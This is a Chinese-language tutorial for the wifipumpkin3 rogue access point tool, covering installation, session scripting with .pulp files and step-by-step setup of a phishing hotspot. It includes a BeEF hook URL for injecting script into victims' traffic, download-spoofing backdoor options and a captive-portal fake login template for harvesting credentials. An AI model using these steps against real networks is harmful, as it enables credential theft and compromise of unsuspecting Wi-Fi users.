视频教程 B站:https://www.bilibili.com/video/BV1Ab4y1H7Tv
攻击种类
恶意接入点攻击
中间人攻击
解除认证攻击模块
extra-captiveflask 模板的模块
流氓DNS 服务器
俘虏门户攻击(captiveflask)
拦截 、检查、修改和重放网络流量
WiFi 网络扫描
DNS 监控服务
凭证收集
透明代理
LLMNR、NBT-NS 和 MDNS 毒药(Responder3 )
RestFulAPI(已禁用)
还有更多 !
安装 用wifipumpkin3 编写的Python 3,你的机器上需要有一个可以工作的 Python(3.7 或更高版本 )。
注意
不支持Windows 。
不支持Mac OS X。 只有docker 版本,但没有经过测试。
要求
您需要有一个支持接入点 (AP) 模式 的 Wi-Fi 适配器。以下操作系统列表代表推荐的运行环境wifipumpkin3(wp3),因为大多数必需的依赖项都已预先安装。还建议使用 VM 或 docker。
工具(预装)
iptables(当前:iptables v1.6.1)
iw(当前:iw 版本 4.14)
网络工具(当前:版本(1.60+)
无线工具(当前:版本 30~pre9-12)
hostapd(当前:hostapd v2.6)
操作系统(推荐)
系统
版本
Ubuntu
18.04 LTS 仿生
Docker
Ubuntu 18.04.4 LTS 仿生
Debian/Ubuntu
wifipumpkin3 使用端口 53 安装 python dns 服务器,当我尝试在 Ubuntu 18.04 上安装时,我收到一些错误,因为这个“端口 53 被另一个进程使用”。这个问题是由 systemd-resolved 引起的,只能按照下面的步骤来解决。
停止 systemd-resolved “sudo systemctl stop systemd-resolved”
用这些编辑/etc/systemd/resolved.conf
1 sudo apt install python3.7-dev libssl-dev libffi-dev build-essential python3.7
1 2 3 git clone https://github.com/P0cL4bs/wifipumpkin3.git cd wifipumpkin3sudo make install
或*.deb从 GitHub Releases 获取 Debian软件包
1 sudo dpkg -i wifipumpkin3-1.0.0-all.deb
Kali Linux安装
Kali Linux默认已经安装了python3.8 兼容的wp3,我推荐安装一些系统包,操作系统级别的依赖
1 2 sudo apt install libssl-dev libffi-dev build-essential git clone https://github.com/P0cL4bs/wifipumpkin3.git
或者检查pyqt5是否安装成功: 1 python3 -c "from PyQt5.QtCore import QSettings; print('done')"
如果等于done
安装wifipumpkin3 1 2 cd wifipumpkin3sudo python3 setup.py install
运行 wifipumpkin3
咧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 zss>> wifipumpkin3 1 ⨯ .,' .' '.' .' .' _.ood0Pp._ ,' `.~ .q?00doo._ .od00Pd0000Pdb._. . _:db?000b?000bo. .?000Pd0000Pd0000PdbMb?0000b?000b?0000b. .d0000Pd0000Pd0000Pd0000b?0000b?000b?0000b. d0000Pd0000Pd00000Pd0000b?00000b?0000b?000b. 00000Pd0000Pd0000Pd00000b?00000b?0000b?0000b ?0000b?0000b? WiFiPumpkin3 00Pd0000Pd0000P ?0000b?0000b?0000b?00000Pd00000Pd0000Pd000P `?0000b?0000b?0000b?0000Pd0000Pd0000Pd000P' `?000b?0000b?000b?0000Pd000Pd0000Pd000P `~?00b?000b?000b?000Pd00Pd000Pd00P' `~?0b?0b?000b?0Pd0Pd000PdP~' codename: Guaraci by: @mh4x0f - P0cL4bs Team | version: 1.0.9 dev [*] Session id: 320aeef8-7366-11ec-ac5d-dca632487d72 Starting prompt... wp3 >
查看网络设备器
查看是否支持ap
使用 参数 基本的命令
这个命令是在启动的时候使用的
1 2 3 4 5 6 7 -i 要绑定的网络接口,如果为空,则默认接口是旧会话启动。 -s 用于继续攻击的会话,如果您传递旧的会话 ID,所有日志将添加到同一会话中 --pulp 交互式会话可以使用 .pulp 文件编写脚本,这是一种自动化攻击的强大方法 --xpulp 每个命令可以单独执行,也可以由 ; 连接起来。在字符串中 --wireless-mode 使用此选项设置无线模式(静态、docker),默认为static 模式,但如果您想在 docker 容器上运行,您可以更改 --no-colors 禁用终端颜色和效果 -v, --version 显示程序的版本号并退出
核心命令
这个是在启动后用到
我们进入help查看帮助信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 wp3 > help [*] Available Commands: ======================= Core Commands: ============== Command Description ------- ----------- banner display an awesome wp3 banner exit exit program and all threads help show this help ignore the message logger will be ignored info get information about proxy/plugin settings kill terminate a module in background by id restore the message logger will be restored search search modules by name set set variable proxy,plugin and access point show show available modules update pulling updates from remote git repository use select module for modules Ap Commands: ============ Command Description ------- ----------- ap show all variable and status from AP clients show all connected clients on AP dhcp choise dhcp server configuration dhcpmode show/set all available dhcp server dump dump informations from client connected on AP jobs show all threads/processes in background mode all wireless mode available start start access point service stop stop access point service Network Commands: ================= Command Description ------- ----------- plugins show all available plugins proxies show all available proxies
英语不好我在这里翻译一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 [*] 可用命令: ======================== 核心命令: =============== 命令说明 -------- ----------- banner 显示一个很棒的 wp3 横幅 exit 退出程序和所有线程 help 显示此帮助 ignore 消息记录器将被忽略 info 获取有关代理/插件设置的信息 kill 在后台通过 id 终止模块 restore 消息记录器将被恢复 search 称搜索搜索模块 set 变量代理、插件和接入点 show 显示可用模块 update 从远程 git 存储库拉取更新 use 模块使用选择模块 应用命令: ============= 命令说明 -------- ---------- ap 显示来自 AP 的所有变量和状态 clients 显示 AP 上所有连接的客户端 dhcp 选择 dhcp 服务器配置 dhcpmode 显示/设置所有可用的 dhcp 服务器 dump 连接在 AP 上的客户端转储转储信息 jobs 在后台显示所有线程/进程 mode 所有可用的无线模式 start 启动接入点服务 stop 停止接入点服务 网络命令: ================== 命令说明 -------- ----------- plugins 显示所有可用的插件 proxies 显示所有可用的代理
搭建简单钓鱼热点
查看来自 AP 的所有变量和状态
1 2 3 4 5 6 7 8 wp3 > ap [*] Settings AccessPoint: ========================= BSSID | SSID | Channel | Interface | Status | Security -------------------+--------+-----------+-------------+-------------+------------ BC:F6:85:03:36:5B | wifipumpkin3 | 11 | eth | not Running | false
选择网卡
1 wp3 > set interface wlan0
设置热点名称
设置代理插件(后面会讲)
现在查看他的ap配置
1 2 3 4 5 6 7 8 wp3 > ap [*] Settings AccessPoint: ========================= BSSID | SSID | Channel | Interface | Status | Security -------------------+--------+-----------+-------------+-------------+------------ BC:F6:85:03:36:5B | zss | 11 | wlan0 | not Running | false
启动
加载自己的配置文件 文件方式加载
用到的是--pulp参数
格式
1 sudo wifipumpkin3 --pulp 文件名
我们可以导入配置好的.pulp 文件
文件内容保存在/home/kali/wifipumpkin3/demo.pulp
1 2 3 set interface wlan1 set ssid zss set proxy noproxy
加载我的配置文件启动
1 sudo wifipumpkin3 --pulp /home/kali/wifipumpkin3/demo.pulp
看一下结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 zss>> sudo wifipumpkin3 --pulp /home/kali/wifipumpkin3/demo.pulp .,' .' '.' .' .' _.ood0Pp._ ,' `.~ .q?00doo._ .od00Pd0000Pdb._. . _:db?000b?000bo. .?000Pd0000Pd0000PdbMb?0000b?000b?0000b. .d0000Pd0000Pd0000Pd0000b?0000b?000b?0000b. d0000Pd0000Pd00000Pd0000b?00000b?0000b?000b. 00000Pd0000Pd0000Pd00000b?00000b?0000b?0000b ?0000b?0000b? WiFiPumpkin3 00Pd0000Pd0000P ?0000b?0000b?0000b?00000Pd00000Pd0000Pd000P `?0000b?0000b?0000b?0000Pd0000Pd0000Pd000P' `?000b?0000b?000b?0000Pd000Pd0000Pd000P `~?00b?000b?000b?000Pd00Pd000Pd00P' `~?0b?0b?000b?0Pd0Pd000PdP~' codename: Guaraci by: @mh4x0f - P0cL4bs Team | version: 1.0.9 dev [*] Session id: 46e8dee6-736d-11ec-b6d8-dca632487d72 [*] mode: script [*] plugin: /home/kali/wifipumpkin3/demo.pulp ============================================= Starting prompt... wp3 > ap [*] Settings AccessPoint: ========================= BSSID | SSID | Channel | Interface | Status | Security -------------------+--------+-----------+-------------+-------------+------------ BC:F6:85:03:36:5B | zss | 11 | wlan1 | not Running | false
命令行方式加载
用到的是--xpulp参数
格式
1 sudo wifipumpkin3 --xpulp "set interface wlan1; set ssid zss; set proxy noproxy;"
演示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 zss>> wifipumpkin3 --xpulp "set interface wlan1; set ssid zss; set proxy noproxy;" Jgy__ jWW `"" 9Wf _ jWWWWW IW __,yyyyyWWWWW IWyyyy___ _jyWWP"^``" `.C"9*,J _.mqD:^^" WWWWWWQg__ jgW"^.C/" .C' I `D. ' D._"WQg_ jWP` .C" C' I `D._ `D._ "Qg_ jQP` .C ,d^^b._ I _.d^^b. `D._ "Qg jQ^ .C" /` .+" \ I / "+. `\ `D. XQ jQ' .C' |` ." ) _I ( ". | `D. 4# Qf .C ( ( / / /\ \ ) ) `D. Qg jW C' \__\_.+' / / \ `+._/__/ `D jQ Qf C C /_/ \ D D Qk Qf C _ C \_\____/ D _ D QF QL C \`+.__ _______ ______.+' / D QF B& C. \ \| || | || / D Qf jQ `C. \ |____|/ |____|/__ / .D' jW TQ `C. \._ `+.__________/___/|_/ .D' jQ` 9Q `C. C.`+._ | |/.D' .D' jQ' "Qg `C. `C. `"+-------' ' .D' .D' pW` ^WQy `C. `C. I .D' _.D' yW" ^9Qy_`C. `C. I .D' _.D jgW" `9WQgC.__ `C. I .D' _.Dp@@" ` ilmk `"" 9WQQggyyyyyygyyyyyQggQWQH"" codename: Guaraci by: @mh4x0f - P0cL4bs Team | version: 1.0.9 dev [*] Session id: cebf5d5e-736d-11ec-aaff-dca632487d72 Starting prompt... wp3 > ap [*] Settings AccessPoint: ========================= BSSID | SSID | Channel | Interface | Status | Security -------------------+--------+-----------+-------------+-------------+------------ BC:F6:85:03:36:5B | zss | 11 | wlan1 | not Running | false
插件的使用 启用或禁用插件 1 wp3 > set plugin plugin_name true 或者false
自定义页面登录 他的配置文件在/config/templates/
文件架构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ├── preview.png ├── static │ ├── css │ │ ├── bootstrap.min.css │ │ ├── main.css │ │ ├── styles.css │ │ └── util.css │ └── js │ ├── bootstrap.min.js │ ├── jquery-1.11.1.min.js │ └── main.js └── templates ├── login.html └── login_successful.html 4 directories, 9 files
代理插件功能
可以用proxies查看模块
1 2 3 4 5 6 7 8 9 [*] Available proxies: ====================== Proxy | Active | Port | Description --------------+----------+--------+------------------------------------------------------- pumpkinproxy | False | 8080 | Transparent proxies that you can use to intercept ... noproxy | True | 80 | Runnning without proxy redirect traffic captiveflask | False | 80 | Allow block Internet access for users until they o...
可用代理:
Pumpkinproxy - 用于拦截 TCP 协议doc 上的网络流量的代理
captiveflask - 允许阻止用户访问 Internet,直到他们打开页面登录页面。文档
noproxy - 在没有代理重定向流量的情况下运行
设置代理插件 1 wp3 > set proxy (模块名Pumpkinproxy或者captiveflask或者noproxy)
启用/禁用插件 1 wp3 > set proxy 模块名 true 或者false
pumpkinproxy插件
按tab键
1 2 3 4 5 6 wp3 > set pumpkinproxy. pumpkinproxy.beef pumpkinproxy.downloadspoof.backdoorWORDpath pumpkinproxy.js_inject.url pumpkinproxy.beef.url_hook pumpkinproxy.downloadspoof.backdoorXLSpath pumpkinproxy.no-cache pumpkinproxy.downloadspoof pumpkinproxy.html_inject pumpkinproxy.replaceImages pumpkinproxy.downloadspoof.backdoorExePath pumpkinproxy.html_inject.content_path pumpkinproxy.replaceImages.path pumpkinproxy.downloadspoof.backdoorPDFpath pumpkinproxy.js_inject
用pumpkinproxy.beef.url_hook
1 wp3 > set pumpkinproxy.beef.url_hook http://172.16.149.141:3000/hook.js
captiveflask强制用户登录
我们此次使用DarkLogin.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 设置热点名称 wp3 > set ssid zss 选择网卡 wp3 > set interface wlan0 设置代理插件 wp3 > set proxy captiveflask 设置模板 wp3 > set captiveflask.DarkLogin true wp3 > start
参考和相关地址 Wifipumpkin3 - CLI
https://github.com/P0cL4bs/wifipumpkin3